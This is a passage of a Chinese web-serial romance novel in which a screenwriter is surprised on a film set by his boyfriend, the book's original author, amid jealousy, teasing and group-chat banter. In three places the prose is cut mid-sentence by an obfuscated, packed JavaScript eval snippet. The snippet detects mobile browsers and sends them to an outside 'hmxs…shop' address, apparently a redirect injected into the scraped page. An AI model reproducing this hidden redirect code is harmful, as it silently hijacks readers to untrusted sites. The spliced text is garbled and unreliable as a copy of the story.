最初的那次围读说不上差，但是这次的围读可以堪称完美。 幕后组和演员们都熟络了，有什么意见也都愿意直接提而不是埋在心里，不像上回，憋到开拍，出了问题才畏畏缩缩、犹犹豫豫地提。 围读的顺利结束让所有工作人员心情大好，孙导大手一挥宣布今晚放假，明天下午两点再开工。 大伙欢呼拍手。 颜语凉噙着笑收拾桌上的东西，心里盘算着跟祝君忱分享今日剧组日常,在走出休息室门口时碰到一个蛮眼熟的身影。 女孩站在一丛滨柃木前，手指一捻某片叶子，经海风摧残的叶子碰瓷般落到她的手心。 颜语凉总感觉在哪里见过她，不禁多看了两眼。 女孩抬眼似有所感地看过来，在看清他的瞬间露出讶异，向他走来：“这不是祝君忱的小迷哥吗！” 这下颜语凉彻底想起来了，是他第一次跑西校区给他带路的秦枝。 他眸光微动，脑子转得飞快。 秦濯。 秦枝。 这么看，这俩肯定得沾点亲带点故。 “哥！”没等他思考完，秦枝就冲他身后唤了一声。 颜语凉回头果真看到了秦濯，秦濯先是向他妹妹露出一个笑，然后偏头跟颜语凉打招呼：“言编。” “嗯，”颜语凉笑起来，“她是你妹妹啊。” 秦枝凑到他哥旁边，打趣道：“那也不能是弟弟吧！” 秦枝上上下下打量他：“小迷哥你就是言不言老师啊？” “对，”颜语凉应下来，脸上的笑谦和官方，“没想到在这都能碰到你。” 这会儿兄妹俩站得近了，颜语凉发现他们的鼻子和眉眼确实很像。 “久仰大名久仰大名，”秦枝邀请道，“我哥请我吃饭，你要不要一起来？” 颜语凉一怔，其实好不容易空闲下来，他更想回酒店和祝君忱打视频。 他正要找个由头拒绝，就听秦濯抬眸看向他：“正好，我有剧情上的问题想请教一下编剧老师。” 秦濯很少对剧本什么的提过建议，这会儿主动说有问题很是难得。 工作狂颜语凉不会放过任何一个完善剧本的机会，一眨眼睛说：“好。” 秦濯进组带了私人司机，经常被周析薇压榨带着一车人去吃好吃的。 一个是冷面冰山，一个是剧组小太阳，私底下有不少人在嗑。 颜语凉坐上小客车的后座，跟他们一起去到一家私密性一看就很强的餐馆。 路上，秦枝跟秦濯分享上回学校篮球赛给颜语凉带路的事，还分享了一些最近在社团、竞赛时发生的一些趣事。 偶尔还拉着颜语凉聊两句。 颜语凉一边应着，一边觉得秦枝的性格其实跟周析薇很像，都是偏外向的小太阳类型，不过秦枝应该是带着墨镜的小太阳，更偏酷一点。 秦濯关于剧本没有大问题，大体就是下一阶段男主对女主的感情到了何种程度，以及想给某一场戏的情节做微量改动。 他们聊了很多对剧本的见解，秦枝是局外人，倒也听得津津有味 席间，颜语凉感觉这家餐馆的烤鱼非常对胃口，便给祝君忱发了个定位。 【我无言以对】：饭局ing 【我无言以对】：[定位消息] 【我无言以对】：码一下这家店，烤鱼特别好吃，下次你来我请你吃 颜语凉盯着手机屏幕等了一会，立马就等到了对方的消息。 【忱.】:好 聊工作产生的一点厌烦彻底驱散，整个人都放松下来。 后边谈的是生活也好，工作也罢，他都像吃了块提神糖，开开心心的。 饭局结束后，颜语凉想去外边走走，和一天没打电话的男朋友聊天，便要跟这兄妹俩在门口分别。 分开前，秦枝还不舍得他，觉得这都能遇到真是太巧了，遂要了颜语凉的联系方式。 秦枝一边扫交友码，一边笑着摆出家长的姿态：“如果我哥演戏不听话，你就告诉我，我跟我妈告状去！” 颜语凉收回手机，拍拍身侧秦濯的肩膀：“放心好了，你哥是剧组最让人放心的人。” 这话绝无虚言。 剧组能添乱的人可多，连他偶尔也会犯点傻，秦濯恰是最安分的那个。 “是吗？”秦枝眼里沾上埋怨，告他哥黑状，“我哥只要一回家家里就得碎点什么，笨手笨脚的。也根本不听话，喊他吃饭得请三四趟。” 她越说，秦濯脸上的表情越瘫。 颜语凉想象不出来冷面冰山笨手笨脚的样子，被这反差逗得闷笑一声。 外边快八点，夜幕已深。 小岛的凉风四通八达，穿堂而过，天空是纯粹的深蓝，庭前高松在月下摇曳虚影。 从虚影里走出一个人影，被风吹得衣袂翩跹。 颜语凉瞥眼看过去，脸上的笑一滞，他是想祝君忱想疯了么，怎么感觉这人和他男朋友这么像。 直到那人抬目也看到他，脚步顿时住在了台阶上。 颜语凉看清了那张快一个礼拜没见到的脸。 高秋清冽的风吹走方才饭局带来的不自在，心里腾起一股想向对方奔去的冲动。 是祝君忱。 “还有啊，小迷哥你可得看着我哥的恋爱状况，老大不小了家里人都很着急，我看薇姐就不错，如果他有别的情况的话可得给他把把关。”秦枝一边摆弄手机添加好友，一边滔滔不绝地逗她哥，没察觉到颜语凉的思绪已经跳到了别的地方。 颜语凉可能没听清女孩在说什么，但是站在两步之遥的祝君忱倒是听清了。 颜语凉的目光同祝君忱投来的目光相接，他看到对方很轻地挑了下眉，然后目光往左移一寸落在他轻覆在秦濯肩头的手上。 “还有……不许请男主角吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758139|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 脑子里突然闪出这句话。 而他，刚跟男主角吃完饭。 现在，手还覆在别人肩膀上。 颜语凉心猛地一跳，明明什么也没做却蓦地心虚起来，“咻”地收回那只虚搭在别人肩头的手。 然后，他看到祝君忱抱起了胳膊。 “……”颜语凉眼皮子一跳，刚要开口，就被旁边的女生抢了先。 “诶这不是祝君忱吗？！”秦枝捂嘴讶异。 祝君忱也很意外，远为他乡异客居然能被认出来。 顿住的脚步终于松动，他往他们那走，目光在颜语凉身上落了两秒，又看向秦枝：“你认识我？” “当然，我也是A大西校区的。”秦枝笑着。 尝试同祝君忱深情对望被对方强制打断的颜语凉：？ 片刻寒暄过后，秦濯秦枝两人先行离去，徒留颜语凉和祝君忱站在灯火通明的堂前。 祝君忱望着秦濯的背影，偏头问：“他是男主角么？” 颜语凉心中警铃大作：“我没请他吃饭！” “哦，”祝君忱说，“那就是他请的。” 颜语凉想反驳，但是反驳不了。 祝君忱也没等他反驳，伸过来一只手，牵着他往外走。 颜语凉盯着祝君忱被风拂起的一丝软发，感觉他确实有点不高兴。 他憋了一会，由他牵着。 刚下台阶，他就忍不住了，拉着祝君忱往到路边亮光少的地方拽。 这几天他总是在闲下来的时刻在海岛上漫步，大多数时候是像现在一样的夜晚，夜色笼罩下，高大的松木总能遮得他的影子若影若现，每当低头找影子的时候颜语凉总是想：要是祝君忱在身边就好了。 想象中浪漫的画面并没有出现在他们身上，祝君忱没有多外露的情绪让他无从下手，不知该从何处哄起。 他想把祝君忱拉到树底下好好说清楚，从哪开始讲都行。 东极岛面积不大，海风从东南吹到西北，将整个海岛包装成一个浪漫的人间小角落。 颜语凉把祝君忱堵在这个小角落里的一个小角落。 却在他向他靠近时，被反拽一下，攻守易形，被抵在了树上。 之前都是祝君忱乖乖被他拉着走，这会儿对方突然使劲，颜语凉没反应过来地懵，背已经脱力靠在了树干上。 这确实是一个隐秘的地方，祝君忱身子高，背再直一点，发顶就能碰到树梢。 祝君忱靠得很近，扶着他的下颚，在他的脸颊亲了一口，一触即离。 颜语凉盯着他的脸，抬眼看向对方眼底流转的光亮。 远一些的地方有一辆很吵的车呼啸而过，这个季节，枝丫缝隙里居然还能听见虫叫，衬得这个昏暗的角落愈发安静起来。 颜语凉的声音也不由自主地放轻，评价这个不太标准的树咚：“老师，你知道这很老套吗？” 看着祝君忱作势要后退，颜语凉一把抓住他的衣襟，祝君忱后退的动作便停了，又轻笑着贴近，额头几乎抵着他的额头：“不是说老套么？” 颜语凉侧过脸去够他的唇，嘟囔着：“我说不喜欢了吗？” 64. 探班者 颜语凉不大熟练地吻着，从唇珠挪到嘴角，只见过猪跑的他，技术止步于此。 他刚松开对方，那只乱动的手就被反制擒住，祝君忱不给他分开的机会，重又覆上去，撬开他的唇齿。 颜语凉没来得及做何反应舌尖就已经尝到了对方的味道，心口开始被一寸一寸漫上来的酥麻萦绕，他已经彻彻底底地靠在树上，祝君忱的另一只手垫在他的后脑，防止他磕到硬处。 他不知道是阖眼享受还是学着回应，只来得及在一片升温的心跳中莫名其妙地担忧：“祝君忱代替他磕在树上的手背会不会疼。” 他们交织在一起的呼吸逐渐变得紊乱，祝君忱结束这个深吻，贴回去附赠了一个轻吻，又用鼻尖蹭过他的鼻尖，声音很低，却溢着说不上来的愉悦：“言不言老师，是没和别人亲过吗？” 言不言老师一掀眼皮，生气了，用额头“嘭”地撞他一下：“你是要炫耀自己和别人亲过吗？” 祝君忱拧了下眉，摸摸他“伤敌一千自损八百”撞红的地方，说：“没炫耀，我也没和别人亲过。” 颜语凉摁着自己额头的手顿住，眼睛亮起来：“真的假的？！” “没有骗你的必要。” 颜语凉心情大好，搂着他的脖子问：“你怎么突然来舟山啦？” 祝君忱一只手抚上他的脸，柔声道：“捉奸。” 颜语凉：“……” 他轻拍对方的肩膀，骂道：“什么鬼东西！” 祝君忱报复性地捏了下这人的腮帮子，说明这趟来的原因：“来探班，签影视合同的时候里面有一条，允许我随时去剧组监督。” “你又不是导演，”颜语凉也想去捏他结果被轻巧地让开，“你来监督什么？” 还能监督什么？ “剧本。”祝君忱张口。 一手不成的颜语凉这次双手齐下，捏住他的脸，表情很凶：“你对我的剧本有什么意见吗？” “不敢。”祝君忱弯起眉眼哄他。 “这还差不多。”颜语凉双手圈住祝君忱的脖子，靠在他身上，对方抬手揽住腰背，便是一个结结实实的拥抱。 最令人动情的夜色和最让他动情的人。 想相拥到天荒地老。 ＊ 《海纳百石》剧组今日有个传遍全剧组的大消息。 ——原作者要来探班！ 上面消息说，本次探班相当于领导视察，一有不慎就会丢掉饭碗。 全组上下心惊胆战，严整以待。 颜语凉下午三点才到剧组，上午一直和祝君忱腻在酒店，中午吃过饭想拉着他一块去剧组。 但祝君忱硬要突击，誓不跟他一起。 “突击啥啊——”颜语凉磨他，“一起去还方便呢。” “突击编剧老师有没有好好写剧本。”祝君忱顺势抱着他。 编剧老师撒泼：“编剧老师忙着谈恋爱呢！哪有空管剧本。” “那得把他炒了。” “那谁也别活了。”颜语凉掐他脖子。 磨了两个小时都没磨成的颜语凉带着七分哀怨走进片场。 除了正在拍摄的演员们和几个不能分神的工作者，其他人的目光纷纷向迟到的编剧老师投来。 带着小心翼翼的探究。 今天上午制片在大群里通知原作者要来探班的时候所有人都积极回应，除了言不言老师。 其实也正常，毕竟他俩素来不和嘛。 说不定今天的迟到也是故意而为，想避开那位。 果然，你看，言不言老师脸上的表情不算好呢！ 人人心里都在嘀咕，颜语凉本人也在嘀咕——这群人怎么能做到又忙又八卦的！ 他不太确定有多少人知道祝君忱就是今辰好了。 上次祝君忱来的时候很多人看见过，但是大多数估计没看清长什么样转过头就去忙了，再加上那天签售会祝君忱戴了个口罩只看得清楚一个身形。 颜语凉猜：除了周析薇是今辰好的小粉丝，观察得敏锐了些，其他人要么消息闭塞要么脸盲，应该都没认出来。 他在众目睽睽下坐到自己的小马扎上，美术指导也在看他，颜语凉看过去，和他大眼瞪小眼，问：“下午好，是剧本出了什么问题吗？为什么都在看我？” 美术指导欲言又止，止言又欲，还是没忍住，问：“今天今辰好老师要来探班，言编你知道吗？” 片场一阵噼里啪啦，颜语凉感觉所有人耳朵都竖起来了。 他说：“我知道啊，群里不是通知了吗？” 所有人耳朵竖得更高了。 没等到颜语凉再说什么，忙碌半天的片场助理小郭跑过来说：“老师，你有新的专属工作区啦！我们购进了新配置折叠桌和折叠椅！请移步！” 颜语凉看着亢奋得大汗淋漓的小郭，奇怪道：“锅子你今天怎么这么忙？” 锅子是颜语凉给他取的新绰号，那些小面包还是小蛋糕的太奇葩了。 旁边有人替他答：“因为他荣升片场总助理了。” “哦。”颜语凉沉吟。 原来是变成课代表了。 牛马头头。 剧组给他准备了一个专门的小桌子，颜语凉坐得不太习惯，待在片场的时候他喜欢蹲在导演旁边改剧本，要么就跑休息室一个人静静地改。 待在这个新地方，既离拍摄组远还没有休息室静，两边没满足，怪讨人嫌的。 万般皆有根源。 颜语凉在剧本空白处三两笔画出个炸毛小猫。 想想还是生气，拿出手机编辑博客。 【言不言： 烦死了 @今辰好 】 刚发出去就弹出许多评论。 [言爷下午好！] [不烦不烦，咱不生气！] [言不言老师光棍节快乐！！] [言不言老师，你有对象吗？我有哦嘻嘻嘻嘻] [啊啊啊光棍节有饭吃才快乐！！我可以是光棍但是我的cp不行！] 颜语凉看了会评论，划下任务栏看日子，才恍然意识到今天是双十一，光棍节。 他盯着某条评论良久，敲字回复道：“我也有对象。” 一石激起千层浪。 这可是言不言老师头一遭谈起感情生活，粉丝们纷纷惊叹起来。 [！！！] [！！！！] [言爷你有女朋友啦！] [言不言：嗯，肤白貌美大长腿，娇小可爱粘人精。] [今辰好回复 @言不言 ：。] 颜语凉发完还在埋头闷笑，没想到祝君忱立马看到了，慌不迭把那条造谣回复删除，脸上表情恢复如常。 剧组看到颜语凉发博客，今辰好老师还给言编评论了一个句号，大伙更加紧张，忐忑地感觉大战一触即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758140|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发。 祝君忱就是在这个众人最紧张的时间走进片场的。 美术指导和技术指导正时时刻刻观望着，准备随时向孙导报备人来了，另外防止今辰好和言不言吵起来把剧组掀了。 他们瞧见祝君忱时只是微怔：好像是上次来过的，言编的朋友。 他们目送祝君忱背着个小背包，走到颜语凉旁边。 心想：嗯，果然，是言编的朋友，应该不是领导。 领导应该至少会带两个助理。 颜语凉瞥见他来，板起脸，在剧本上写写画画。 祝君忱凑过去一看，一只凶神恶煞的小猫把一个头上标着祝字的火柴人挠得流血满地。 祝君忱：“……” 颜语凉睨他一眼：“我画得怎么样？” “……”祝君忱夸，“栩栩如生。” 颜语凉把剧本往前翻了两页，某两张纸之间夹着一张草稿纸，上边密密麻麻地都是小猫和人头上写着“祝”的火柴人。 祝君忱看到这张纸上标着名字《想想养人记》。 “看，”颜语凉放低声音，“想你了就画一个。可惜我只会画小猫不会画人。” 祝君忱捻着这张薄薄的纸，却感觉它的分量很重，从头到尾仔仔细细地看。 恶魔想想站在柜子上，火柴人祝弯腰擦地。 天使想想飘在屎上，火柴人祝痛哭流涕。 肌肉想想展示神力，火柴人祝望尘莫及。 …… 祝君忱看向颜语凉绷着笑的脸，有点好奇这人的脑袋瓜结构是不是和猫一样。 “是想揍我的时候画的吗？”他问。 “当然不是。”颜语凉想抽回那张画纸，却捞了个空。 “没收。”祝君忱将那张纸收进口袋，“抓到了言不言老师上班摸鱼的证据。” “有本事把我炒了。”颜语凉一拍桌子凝眉站起来，眼里没含一丝畏惧。 但旁边路过的小郭要吓死了，拉着颜语凉做大哭状：“言编不要啊！！剧组没你可不行！！待会今辰好老师来了我们一定站你这边，帮你说好话！” 颜语凉三两句把锅子赶走，转头看向祝君忱：“你这突击，和跟我一起来剧组有矛盾吗？” 他重又坐下来：“就是感情淡了不想跟我待一块儿了呗——” 祝君忱已经做好了哄人的准备，走到桌子的另外一边，从包里拎出两包薯片，放到桌上，推到他面前。 “我说你包里鼓鼓囊囊塞啥了呢，”颜语凉把薯片推回去，“哄小孩子呢？言不言老师不爱吃零食。” 祝君忱又从包里拿出一盒爱心巧克力，推给他。 颜语凉还是推回去：“言不言老师名草有主，不收别人的爱心巧克力。” 祝君忱又拿出一个挂件，摊在手心，递给颜语凉。 这是一个软趴趴的深蓝玫瑰挂件。 颜语凉登时眼睛一亮，捧过来：“我喜欢这个！” 看他不找理由推脱了，祝君忱正要说什么，却被别人抢了先。 来人气宇轩昂，正是昨夜有过一面之交的秦濯。 秦濯也是刚到，走近，把手里的一叠纸递给颜语凉，说：“言编，你昨天把围读资料落我车上了。” “哦。”颜语凉接过，听着莫名怪异，蓦地想到祝君忱昨晚说的“捉奸”。 他偏头望过去。 男朋友的脸已经瘫了。 65. 满分制 秦濯只是来送个东西，转身就往孙导那边去。 丝毫不知道自己干了票大的。 徒留颜语凉愣在原地。 他观察了一会儿祝君忱的表情，把自己上上下下摸了个遍也没摸出什么好玩的、能哄人的东西出来。 最后摸出两根棒棒糖，递向祝君忱：“吃吗？” 祝君忱推开，把那句话还给他：“哄小孩子呢？” 颜语凉全身上下找不出第二个能送人的东西来，从昨天围读资料没用的空白纸上撕下来一片，三两下叠了个千纸鹤送给他：“给你。” 祝君忱问：“别人有吗？” “就你有。”颜语凉笑着又塞给他一个，“现在你有两个。” 看着祝君忱默不作声地观察这两个小纸鹤，他抻着腿，脚尖抵到对方的脚尖：“没必要吃味，他不是我喜欢的类型。” 祝君忱眉一挑，看向他：“那你喜欢什么类型？” “这问题我是不是说过……” 祝君忱把跟他贴着的脚收回，打断他的话，质问他：“肤白貌美大长腿还是娇小可爱粘人精？” “……”颜语凉破罐子破摔，“我喜欢今辰好那个类型。” 正巧捧着道具路过的小郭又吓死了。 小郭抱着他的胳膊：“言编！这话可不兴乱说啊！！！” 颜语凉不知道他从哪冒出来的，捡起掉在地上的一个珊瑚道具放回纸箱子里。 小郭看向祝君忱，希望他劝劝语出惊人的友人，没想到对方脸上的表情还挺愉悦。 祝君忱起身对颜语凉说：“带我去找孙导。” 颜语凉同祝君忱对上目光，说：“好。” 他带祝君忱走到孙导旁边。 孙导看过来，笑眯眯的：“这是小祝啊？” “嗯，”颜语凉扯着祝君忱的袖子，同上次一样向孙导继续介绍道，“他也是今天来监察的今辰好。” 嗯。 小今。 谁？？？ 孙导其人，年过四五，混迹圈内多年，什么事没见过，这回是实打实地瞪大了眼睛。 他内心震撼，面上巍然不动，伸出手：“今辰好老师，你好。” 小郭刚搬着道具到他们这边，听到如此对话，抬眼看到祝君忱和孙导友好握手，吓得魂飞魄散，放箱子的手一抖，堆在箱子最上面的几个小道具散下来落了一地。 颜语凉瞥眼看过去，躬身第二次捡起那个小珊瑚，对祝君忱笑道：“先把我炒了，再把他炒了。” 刚荣升牛马头头的小郭欲哭无泪。 祝君忱看着颜语凉欺负人，忍俊不禁地薅了下他的头顶翘起的一根卷毛，顺手搭在他的肩膀：“都听言不言老师的。” 小郭看着他俩沆瀣一气的模样，捂着脸蹲下来。 孙导哈哈大笑，瞧着眼前和网上传言一点不像两人，对颜语凉说：“上次小祝来，我还说他名字和今辰好的像呢，那时候你是怎么说的？你说我胡说八道。” 颜语凉当然不会想不起来这件事，闻言幽怨地扫了一眼祝君忱，把他摆在自己肩头的手拍走。 祝君忱一笑而过，对孙导说明来意，语气沉稳：“我这次主要来看剧组的服设、妆造、道具，可以的话给我看一下之前拍的一些重头戏。” “当然可以。”孙导一挥手，喊来扛大炮的老师，让助理去把蹲在片场门口的美术指导和造型指导都叫进来。 颜语凉偏过头说：“重头戏都被我删了。” 祝君忱侧过脸看他，沉声：“那你明天别来了。” “太好了。”颜语凉同他对视的目光下落一些，放在对方翕张的唇上。 他们一直保持着一个“好朋友”的亲密距离。 要不是周边有人，他肯定就亲上去了。 他俩之间爱潮涌动，但是锅子不知道，锅子蹲在地上听得耳朵痛。 剧组门口离这里不过二十几米，片场助理把两位老师带过来时只来得及告知他们祝君忱就是今辰好。 两人还震惊在今辰好老师精巧绝伦的地道战打法，走近看见的就是言不言老师和今辰好老师僵持对视、剑拔弩张的模样。 两位指导相觑一眼，执行先前商量好的计划——他们不敢拽祝君忱，但是和言不言老师熟，于是两人一人一只胳膊，一下子把颜语凉拽了两三米远。 春心萌动的颜语凉突然被打断施法：……. 祝君忱瞧见颜语凉被扛走，压了点眉往他那边走近一步。 颜语凉被两位人才拉远一步。 小郭隙开指缝，站起来，看见如此画面，感觉惨不忍睹，又默默蹲下了。 “我们不打架！”颜语凉挣脱两人的魔爪，三两步走回祝君忱身边。 对方眼底的不悦淡了些，无比自然地将手臂搭在颜语凉肩上。 关系巨好。 颜语凉抱起胳膊，看向两位指导老师，食指一抬：“把他们都炒了吧。” 美术指导感觉这种场面只在小说里见过。 小演员是大佬包养的金丝雀，进组得所有人供着，只手遮天。 祝君忱虚揽着他，轻笑：“言不言老师是想把剧组所有人开了吗？” 所有听见动静围过来的人，都听到了这句话。 什么？！ 言不言老师要开我们所有人？！ 孙导笑得仰起头，拍拍美术指导说：“小祝是你们言编带进来的，忘记了？” 指导老师一抹头上的汗。 他倒真忘记这茬了，只惦记着“避免大战，保护片场”，做事没动脑子。 现在一看，这两位老师的关系，哪有网络上那么夸张！ 要不说网络是把双刃剑呢。 那么现在问题来了，博客上流传已久的“言不言是今辰好的托”难道确有其事？ 现场的工作人员包括演员都在暗自揣测。 两人已经在孙导的安排下开始进行今天的工作。 想象中的好言大战并没有发生。 他们平时严肃认真的言不言编剧今天分外愉悦，也分外散漫。 剧本也不写了，演员拍戏也不看了，什么也不管了，就懒洋洋地贴着今辰好老师，埋头跟他一起看前面拍的片子。 看到拍得很棒的重头戏，颜语凉就倚着祝君忱邀功：“怎么样，是不是比想象中好？” 看到与原著不一样的情节，颜语凉就明里暗里骂两句原作者，旁人听得心惊胆战，但祝君忱听他骂自己，总是笑意浅浅，仿佛原作者不是他。 众人心慌——难道此人是冒牌货？真正的今辰好另有其人？ 直到祝君忱片子看累了，也说累了，转头对靠着自己的颜语凉道：“让我看看后面的剧本。” 得闲半天的言不言老师终于掀了掀眼皮，声音凉凉地问：“今辰好老师，你对我的剧本有意见吗？” 旁边蹲着帮忙的片场助理闻言想劝说：“言编，今辰好老师只是例行公事，肯定没有想冒犯你的意思！” 还没开口就听，文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758141|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质彬彬的今辰好老师开口说：“对，有很多。” 片场助理刚鼓起的勇气全部泄了，只能眼睁睁看着今辰好老师被言不言编剧怒气冲冲拽进自己的专属休息室。 颜语凉推着祝君忱进休息室，反手锁上了门。 祝君忱盯着他的动作，满脸纯良问：“言不言老师锁门做什么？” 言不言老师没有作声，只是靠近他。 “我们要说什么见不得人的东西吗？”祝君忱垂目看向离自己愈来愈近的人。 颜语凉抬手搂着他的脖子，偏头拥上，唇角蹭过对方的耳侧：“偷偷抱一下。” 祝君忱的步子往后走，腿后靠在房间里窗边的工作桌上，双臂圈着颜语凉，抱得紧紧的。 海边落日的余辉投进来，照得脸颊暖暖融融。 颜语凉觉得晃眼睛，埋头闷在祝君忱颈侧，心里洋起丝丝缕缕的喜悦。 过去一周，他在这张桌前想镜头、想剧情执笔停顿时常常想：要是祝君忱在这就好了。 而现在，爱人就在怀里，简直就是美梦成真！ 就在他闭眼沉浸式享受这个拥抱时，突然听到身侧男人的低声耳语：“颜语凉，你跟我在一起之后就不能再喜欢别人了。” ？ 颜语凉睁开眼睛，鼻尖还埋在对方肩头，说话声音闷闷的：“你是真的吃醋啊，我以为你逗我玩呢。” “嗯，”祝君忱应声，把心思剖开给他看，“一开始确实是想逗你开心，但是后来想想还是会有点在意。” 颜语凉抱他的手收紧一些：“我又不是渣男，我喜欢你肯定会一直喜欢你，再说了，你跟我在一起也不能喜欢别人了啊，是双向的。” “可是，”祝君忱突然翻起陈年旧账，“你跟我讲过一个婚外情的故事。” ？ “什么婚……”颜语凉歪了点头，想起来了，提高音量，“那只是个希腊神话！” 他嘟囔：“原来给你讲故事还减分了。” 闻言，祝君忱突然松开他一些，结束这个拥抱，让他看向自己：“没有，颜语凉，你在我这不是加分减分制。” 颜语凉还没抱够，怀里突然的空荡让他遗憾一秒，再抬眼就听祝君忱接着没说完的话说：“是满分制。” 不是加到100分就喜欢你，减到0分就不喜欢你。 不是这么算的。 颜语凉就是满分。 有一百分就是一百分，有一千分就是一千分。 就比如，在他知道对方是言不言的那一刻，就推翻了所有对言不言的负面评价。 只要是颜语凉，就是满分。 颜语凉听着耳尖发烫，看见他说完这句话就撇开了脸，凑过去，稀奇道：“祝君忱你是不是不好意思了？” 祝君忱不想理他。 颜语凉自己耳朵还红着、热着，却搂着他晃啊晃：“说呀，是不是？” 祝君忱被晃得头晕，只好偏过头来，以亲代答。 颜语凉不想被亲，只想听回答，所以祝君忱只能亲到他的左面颊、右面颊、左下巴、右下巴。 一直乱动，逼得人用强制手段，祝君忱抬手摁着他的下颚精准地吻上他的唇。 颜语凉没等到祝君忱承认自己是不是害羞，只来得及在甜蜜的深吻之后，强调：“我要喜欢你好久好久好久好久。” 海边的夕阳在两人的温存间慢慢褪色，黑夜渐渐笼罩。 剧组里的大家都太忙，没人发现——许久，言编的休息室才亮灯。 66. 天仙配 颜语凉当然没忘记祝君忱今天的工作任务。 饶是再亲密，公事也得公办。 短暂的温存过后，他从工作台堆着的书堆里抽出一本写画过许多的本子给他：“这是最初那版稿子，就是我国庆在你的小花房写的。” 又拿出一本：“这本是第一次围读之后改的，确实删了一些不太好拍的戏，但是都有加入别的剧情。” “这是我在片场改的，修整了很多人物语言和镜头高光。” “这是我的摸鱼火柴人上集，你要可以拿去。” “这是我闲得没事魔改的，你最好别看这个，我怕你气吐血。”颜语凉从书页间抽出几张写得满满当当的草纸，在他面前一晃。 祝君忱眸光遂着这几张纸动，隐约看到某张纸的标题是《霸道人鱼爱上我》：“……” 很难想象尘封水的时候这人会写什么样的魔改同人。 颜语凉瞧着他逐渐怪异的眼神，忍俊不禁，他正要说些更好玩的逗弄对方，扣在桌面的手机突然发了疯似的欢震好几下，将他的注意力吸引过去。 其实手机刚刚就在震了，但刚刚只是零散的震动，正溺于和祝君忱贴贴的颜语凉选择了视而不见。 地球研究小组的众人已经快一周没有聊天了，上次聊天还停留在廖寻桃询问颜语凉该如何面对祝君忱，颜语凉发了个自闭勿扰的表情包。 今天的话题是邹煜安十几分钟前先提起的。 [地球研究小组（4）] 【我是走远】：亲爱的朋友们，知道今天是什么日子吗？为什么我的室友们都出去幽会了。 【我是走远】：不过还好，我还有你们！光棍节快乐！！！ 几分钟前，廖寻桃回复他一张照片。 【桃女王】：[图片] 【桃女王】：宣布件事，从今天开始我不过光棍节了，@我是走远 @我无言以对你们随意 照片中是两只十指相扣的手。 【我是走远】：哟，这次擦亮眼睛了吗？ 【我是走远】：桃女王又去哪个犄角旮旯里淘渣男去了？ 【我是走远】：等一下，你是不是忘记 @程和欢了 【桃女王】：（大笑.jpg） 邹煜安盯着她这个大笑有种不祥的预感。 【程和欢】：是这样的～ 【程和欢】：我是你桃～ 【程和欢】：[视频] 视频看起来像是直接在微信拍的。 视频里，廖寻桃抬起一只手自拍着，冲镜头俏皮地wink，然后抬起另外一只没举手机的，入镜的便是两只牵得很紧的手。 镜头有些晃，两人应该是在饭后散步压马路。 另一个人只露一个肩头没说话，廖寻桃轻笑：“懂了么？走远同学。” 走远同学懂了，但也疯了。 遂在群里刷屏发疯，廖寻桃发了好几条大笑的语音。 颜语凉看完群消息的时候，廖寻桃正在全方位无死角地展示她跟程和欢牵着的手。 邹煜安又开始刷屏。 颜语凉内心震撼，他对这俩人的记忆还停留在“程和欢喜欢廖寻桃”，没想到这会儿直接快进到牵手了。 【我无言以对】：跟一个 @我是走远 他添加邹煜安的表情包，跟着一起刷了两页。 停下来的时候忽觉他们几个像小学生。 【我是走远】：太犯规了，怎么有人内部消化 【我是走远】：上次颜语凉生日我就说你俩不对劲 【我无言以对】：我生日不应该我是主角吗？ 【我是走远】：@我无言以对 把他俩踹出去吧，地球研究小组已经不纯粹了，这里不欢迎有对象的人 这话一出，颜语凉顿时不知道站哪个阵营了。 他思忖片刻，抄起旁边祝君忱的手。 祝君忱正在翻剧本，猝不及防被他扣得严严实实，抬头望去，发现颜语凉正在全方位无死角地对着他俩的手拍。 “怎么了？”他问。 “给我的朋友们亿点震撼。” 【我无言以对】：跟一个 @桃女王 【我无言以对】：[图片] 【我无言以对】：[图片] 【我无言以对】：[图片] 【我无言以对】：[图片] 【我无言以对】：把我也踹出去吧，我也有对象了 满屏都是两只紧扣的、骨节分明的手。 【我是走远】：？ 【桃女王】：？ 【程和欢】：？？？？？？？？？？？？？？？？ 【我是走远】：@桃女王 你可以用霸总的微信，但是你不要ooc行不行？ 【程和欢】：你管我o不ooc，现在这个号就是我的欧西 【程和欢】：@我无言以对 快告诉我这是网图啊啊啊 颜语凉眉头一挑，见她不愿相信，学着廖寻桃之前拍视频的动作和自己牵的手来了张自拍。 【我无言以对】：[图片] 